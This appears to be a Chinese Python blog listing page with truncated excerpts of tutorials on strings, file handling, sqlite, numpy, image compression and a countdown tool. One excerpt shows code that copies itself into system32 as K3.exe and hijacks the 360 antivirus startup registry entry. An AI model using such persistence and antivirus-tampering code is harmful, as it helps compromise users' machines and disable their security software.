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系统 2019-09-27 17:56:25 1908
接触python已有一段时间了,下面针对python基础知识的使用做一完整梳理:1)避免‘\n'等特殊字符的两种方式:a)利用转义字符‘\'b)利用原始字符‘r'printr'c:\now'2)单行注释,使用一个#,如:#helloPython多行注释,使用三个单引号(或三个双引号),如:'''hellopythonhelloworld'''或"""hellopythonhelloworld"""另外跨越多行的字符串。也可以使用三个单引号或三个双引号,如:
系统 2019-09-27 17:56:22 1908
Python文件处理注意事项总结文件处理在编程中是常见的操作,文件的打开,关闭,重命名,删除,追加,复制,随机读写非常容易理解和使用。需要注意的是文件的安全关闭,采用with语句轻松便捷:withopen(pathname,”r”)asmyfile:do_some_with(myfile)1.CSV的文件处理csv模块可以很好地处理csv文件,而Pandas模块则可以较好的处理大型的csv文件,还可以处理HTML等,并提供分块处理。2.XML的文件处理对于
系统 2019-09-27 17:56:11 1908
本文实例讲述了python修改注册表终止360进程的实现方法。分享给大家供大家参考。具体实现代码如下:import_winregimportosimportshutil#复制自身shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe)#把360启动改为自身run=_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,"SOFTWAREMicrosoftWindowsCurrentVers
系统 2019-09-27 17:55:20 1908
本文实例为大家分享了python实现倒计时小工具的具体代码,供大家参考,具体内容如下#!/usr/bin/envpython#coding=utf-8importthreadingimporttimeimportQueuefromTkinterimport*importtkMessageBoximportlogginglogging.basicConfig(level=logging.INFO)##CommunicationqueuecommQueue=Q
系统 2019-09-27 17:54:31 1908
前言本文主要给大家介绍的关于Python批量压缩png的相关资料,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍:1.需求为什么会有这个需求?是因为游戏的资源大多是png图片,需要压缩,但是有些图片和文件夹里的图片,美术不想压缩,比如一些带透明度的光圈或者游戏的主要元素。所以要过滤下。发现python这个语言比较适合用在这个场景。所以写了点python.2.源码importos,sysimportos.pathrootdir=sys.path
系统 2019-09-27 17:54:16 1908
创建数据库importsqlite3#连接数据库(如果不存在则创建)conn=sqlite3.connect('test.db')print("Openeddatabasesuccessfully")#创建游标c=conn.cursor()#SQL语句sql="""CREATETABLESTUDENTS(IDINTPRIMARYKEYNOTNULL,NAMETEXTNOTNULL,AGEINTNOTNULL,ADDRESSCHAR(50));"""#创建表
系统 2019-09-27 17:53:45 1908
要说近几年科技圈什么最火热,无疑就是人工智能,各大科技公司纷纷投入这个浪潮之中,很多从事的是毫不相关的行业的企业也投入到了人工智能的开发与应用中,也想在里面分得一勺半羹。提及人工智能,就不得不说到和他息息相关的开发工具,python就是最接近AI的预言之一。总所周知,机器学习和深度学习是开发人工智能两个非常重要的模块,而Python拥有keras、Numpy、matplotlib、sklearn、等大量的库,像matplotlib、sklearn、pand
系统 2019-09-27 17:53:31 1908
运行splash:控制台输入:dockerrun-p8050:8050scrapinghub/splash如果报错:重启Docker后再输入。
系统 2019-09-27 17:53:24 1908
若干个数组可以沿不同的轴合合并到一起,vstack,hstack的简单用法,>>>a=np.floor(10*np.random.random((2,2)))>>>aarray([[8.,8.],[0.,0.]])>>>b=np.floor(10*np.random.random((2,2)))>>>barray([[1.,8.],[0.,4.]])>>>np.vstack((a,b))array([[8.,8.],[0.,0.],[1.,8.],[0.,
系统 2019-09-27 17:52:40 1908